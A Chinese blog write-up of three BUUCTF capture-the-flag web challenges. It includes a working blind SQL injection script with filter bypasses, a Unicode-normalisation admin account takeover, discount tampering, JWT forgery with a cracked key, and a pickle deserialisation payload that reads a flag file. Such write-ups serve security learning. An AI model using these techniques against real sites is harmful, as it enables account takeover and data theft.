• BUUCTF复现记录1


    平台地址:https://buuoj.cn/  里面很多之前的题目,不错的平台。另外幕后大哥博客https://www.zhaoj.in/     以下的解题,都是参考各位大佬的WP去复现,重在记录下解题思路

    以及了解一些常规姿势。

    [CISCN2019 华北赛区 Day2 Web1]Hack World

    题目是这样的

    已经知道了表名和,列名,只需要想办法读取里面的内容就行了。

    过滤了一些字符,绕过就行了。这里通过BP抓包FUZZ一波,还有手工判断,这里有一些BP fuzz使用的payload:  https://github.com/fuzzdb-project/fuzzdb

    可以发现过滤了and、or、”、union、#、 --+ ,空格、&&、||、/**/等

    这里空格可以使用%0a,()进行绕过,^异或没有被过滤,所以这里可以使用异或进行绕过,猜测出最终的flag.

    payload如下:

    import requests
    import string 
    import urllib
    s = requests.session() #创建session对象,可以保存Cookie值
    url = "http://f63702e7-ee2e-4b0d-be72-6f27bcc0e241.node1.buuoj.cn/index.php"
    i = 1
    length = len(s.post(url,data={'id':'1'}).text) #输出post提交时,response响应的内容的长度,和后面提交payload时页面做对比
    
    # print(len(s.post(url,data={'id':'1'}).text))  长度312
    

    ''' print(s.post(url,data={'id':'1'}).text) 当post提交1时输出为 <html> <head> <title>Hack World</title> </head> <body> <h3>All You Want Is In Table 'flag' and the column is 'flag'</h3> <h3>Now, just give the id of passage</h3> <form action="index.php" method="POST"> <input type="text" name="id"> <input type="submit"> </form> </body> </html> Hello, glzjin wants a girlfriend. ''' flag = '' while 1: status = 1 for x in string.printable:   #string.printable为可打印字符,在ASCII码中,0—32及127是控制字符,33~126为可打印字符   #其中48~57为0~965~90为26个字母大写,97~122为小写,其余为标点符号/运算符等 payload = r"1^(ascii(substr((select%0aflag%0afrom%0aflag),{0},1))={1})^1".format(str(i),str(ord(x))) #使用ascii是因为过滤掉了-,所以先转ascii,之后再打印出来。再可打印字符里面有- data = { 'id': urllib.parse.unquote(payload) #urllib.parse用于解析URL,解析上面的%0a } html = s.post(url,data=data).text if length == len(html): flag += x status = 1 print(flag) break else: status = 0 if status == 0: flag += "exp" print(flag) i += 1

    flag为:flag{86b21334-8620-4133-98ad-a6940c102431}

    admin

    题目连接:http://web37.node1.buuoj.cn/

    题目为admin,那么应该是需要我们得到admin的账号,然后登录进去就可以得到flag了,可以,大小写注册都不管用。

    随便注册个账号进去看看,在change password页面源码里看到https://github.com/woadsl1234/hctf_flask/,是题目源码,使用的是Flask框架,那么就去看看route,看看里面的函数

    @app.route('/register', methods = ['GET', 'POST'])  //注册
    def register():
    
        if current_user.is_authenticated:
            return redirect(url_for('index'))
    
        form = RegisterForm()
        if request.method == 'POST':    //定义提交方式为POST
            name = strlower(form.username.data)   //将提交的username转为小写
            if session.get('image').lower() != form.verify_code.data.lower():
                flash('Wrong verify code.')
                return render_template('register.html', title = 'register', form=form)
            if User.query.filter_by(username = name).first():
                flash('The username has been registered')
                return redirect(url_for('register'))
            user = User(username=name)
            user.set_password(form.password.data)
            db.session.add(user)
            db.session.commit()
            flash('register successful')
            return redirect(url_for('login'))
        return render_template('register.html', title = 'register', form = form)
    
    @app.route('/login', methods = ['GET', 'POST'])   //登录
    def login():
        if current_user.is_authenticated:
            return redirect(url_for('index'))
    
        form = LoginForm()
        if request.method == 'POST':
            name = strlower(form.username.data)    //小写转换
            session['name'] = name
            user = User.query.filter_by(username=name).first()
            if user is None or not user.check_password(form.password.data):
                flash('Invalid username or password')
                return redirect(url_for('login'))
            login_user(user, remember=form.remember_me.data)
            return redirect(url_for('index'))
        return render_template('login.html', title = 'login', form = form)
    
    
    
    @app.route('/change', methods = ['GET', 'POST'])    //改密码
    def change():
        if not current_user.is_authenticated:
            return redirect(url_for('login'))
        form = NewpasswordForm()
        if request.method == 'POST':
            name = strlower(session['name'])     //小写转换
            user = User.query.filter_by(username=name).first()
            user.set_password(form.newpassword.data)
            db.session.commit()
            flash('change successful')
            return redirect(url_for('index'))
        return render_template('change.html', title = 'change', form = form)
    
    
    def strlower(username):
        username = nodeprep.prepare(username)
        return username

    在这里,我们可以看到,他的strlower函数是这样定义的

    def strlower(username):
        username = nodeprep.prepare(username)
        return username

    username是通过nodeprep.prepare(username)之后得到的。

    而对于nodeprep.prepare()函数,他需要使用的的库为twisted,到目前为止,他已经更新到了19.7.0,而题目使用的是10.2.0的,对于已经有了更高版本的时候,一般会想到应该会存在一定的漏洞

    就像php版本一样,之前低版本的也存在各种各样的漏洞。

    这里存在Unicode编码的一个问题,具体对应的编码:https://unicode-table.com/en/blocks/phonetic-extensions/

    可以知道当使用了nodeprep.prepare()函数之后,如果我们先使用unicode的编码的字符,比如说 ᴬ ,使用该函数之后,他会先变成大写的A,再使用一次就会变成小写的a。

    那么这里就可以使用他的漏洞进行注册了:

    首先使用  ᴬdmin这个用户名进行注册 ,注册之后,进去就会变成 Admin

    然后改密码,随便改一个密码,改密码之后,再次经过nodeprep.prepare()函数,就可以将username变成admin了

    最后退出,重新以admin的身份进行登录,即刻得到flag

    最后附上一叶飘零大佬的三解:https://www.anquanke.com/post/id/164086

    [CISCN2019 华北赛区 Day1 Web2]ikun

    打开题目,可以看到

    B站鬼畜区大佬,各UP主都爱的素材。看到这,让我又想起了上次夕阳红打榜,NB,让我再次看到了,只要你有实力谁都愿意和你交好。

    话不多说,审题。打开页面,知道,我们需要购买lv6,应该是买到就可以给Flag吧。

    先注册,随便注册个账号,邮箱随便弄一个

    注册之后可以看不到,钱不是很多,应该是不够买的

    接下来先找到lv6,买下来才行,翻了十几页,没看到,脚本跑一下

    import requests
    
    url = "http://26f12b49-df5d-419d-9c3a-50988d616703.node1.buuoj.cn/shop?page="
    
    for i in range(1000):
        r = requests.get(url + str(i))
        if "lv6.png" in r.text:
            print i
            break

    最后跑出来在181页有lv6,虽然找到了,倒是价格也太贵了,还是点进去看一下

    点击结算,操作失败,买不到。看一下源码,可以看到,有一个discount折扣,将其改小,改为0.00000001

    结算后,自动跳转到另外的页面,需要用户为admin才能访问

     看一下cookie信息。发现有一个JWT(json web token),关于JWT可以到这了解更多:https://www.cnblogs.com/cjsblog/p/9277677.html

     然后到 https://jwt.io/  进行查询解析,得到

    这里将mortals,改为admin,密钥使用 https://github.com/brendan-rius/c-jwt-cracker 跑出来

    最后得到密钥为1Kun,

     

    将JWT的值改为如下,进行cookie伪造

    eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIn0.40on__HQ8B2-wM1ZSwax3ivRK4j54jlaXv-1JjQynjo

    再查看源码的时候,找到有用的东西

    下载下来,可以看到为该题的源码

    在sshop/views/Admin.py 里面有个

    关于python反序列话,可以看这 http://www.sohu.com/a/274879579_729271

    然后利用python,里面的pickle库,进行序列化,读取flag。

    payload:

    import pickle
    import urllib
    
    class payload(object):
        def __reduce__(self):
           return (eval, ("open('/flag.txt','r').read()",))
    
    a = pickle.dumps(payload())
    a = urllib.quote(a)
    print a

    得到:

    c__builtin__%0Aeval%0Ap0%0A%28S%22open%28%27/flag.txt%27%2C%27r%27%29.read%28%29%22%0Ap1%0Atp2%0ARp3%0A.

    在六级会员页面,源码里面,会看到一个隐藏,将其去掉,然后在admin那按下回车,进行抓包

    抓到得到,

    将admin改为,刚才生成的payload,即可得到flag

  • 相关阅读:
    Weblogic常见故障一:JDBC Connection Pools .
    基于CentOS与VmwareStation10搭建Oracle11G RAC 64集群环境:4.安装Oracle RAC FAQ-4.7.Oracle 11G R2 RAC修改public网络IP
    基于CentOS与VmwareStation10搭建Oracle11G RAC 64集群环境:3.安装Oracle RAC-3.6.集群管理命令
    基于CentOS与VmwareStation10搭建Oracle11G RAC 64集群环境:3.安装Oracle RAC-3.5.安装oracle11gr2 database 软件与创建数据库
    基于CentOS与VmwareStation10搭建Oracle11G RAC 64集群环境:3.安装Oracle RAC-3.4.安装Grid Infrastructure
    Nginx 服务器性能Bug和性能优化方案(真实经历)
    ngx_lua_API 指令详解(二)ngx.re.match/find/gmatch/sub/gsub指令集合
    Linux遇到的问题(一)Ubuntu报“xxx is not in the sudoers file.This incident will be reported” 错误解决方法
    Github 开源项目(一)websocketd (实战:实时监控服务器内存信息)
    阿里云Tengine和Openresty/1.11.2.3 数据对比
  • 原文地址:https://www.cnblogs.com/mortals-tx/p/11385521.html
Copyright © 2020-2023  润新知